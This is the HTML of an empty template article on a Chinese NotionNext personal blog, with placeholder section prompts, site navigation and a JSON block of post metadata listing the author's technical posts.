notion-block-a8c29bdc907d4d3491e516cb41d364a8"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-c794c243598f4d45935433548953674a">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-0af78e740f6f483594392011e6119213"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-7ed33ddc96f345fea1d81a1f638de98e" data-id="7ed33ddc96f345fea1d81a1f638de98e"><span><div id="7ed33ddc96f345fea1d81a1f638de98e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7ed33ddc96f345fea1d81a1f638de98e" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-dce8171f4f6b4ed0ba159768718c01fb" data-id="dce8171f4f6b4ed0ba159768718c01fb"><span><div id="dce8171f4f6b4ed0ba159768718c01fb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#dce8171f4f6b4ed0ba159768718c01fb" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-0435609750ce4d5ebebfcf7b41537fcd"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-b330bfba409342e687c72b5459c9cf76" data-id="b330bfba409342e687c72b5459c9cf76"><span><div id="b330bfba409342e687c72b5459c9cf76" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b330bfba409342e687c72b5459c9cf76" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-1fbd3e80cdb54a08bce3ab338829afb3"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-fd5453745d814a2dab212d4df214b9f0" data-id="fd5453745d814a2dab212d4df214b9f0"><span><div id="fd5453745d814a2dab212d4df214b9f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#fd5453745d814a2dab212d4df214b9f0" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-ec9723c48b2547e09df3971848bbf522">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-46fd514c56fb49d69b5ca471a2f1b4a8" data-id="46fd514c56fb49d69b5ca471a2f1b4a8"><span><div id="46fd514c56fb49d69b5ca471a2f1b4a8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#46fd514c56fb49d69b5ca471a2f1b4a8" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-8624876db0bf44d386a234e832f77ea9"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-f23982797337415d92dece76a1245c9f"><li>引用文章</li></ul><div class="notion-blank notion-block-d858f147752b4fd7a9316e270a7b7f98"> </div><div class="notion-callout notion-gray_background_co notion-block-468c0bd89b864390973ca9ba199aa3b8"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 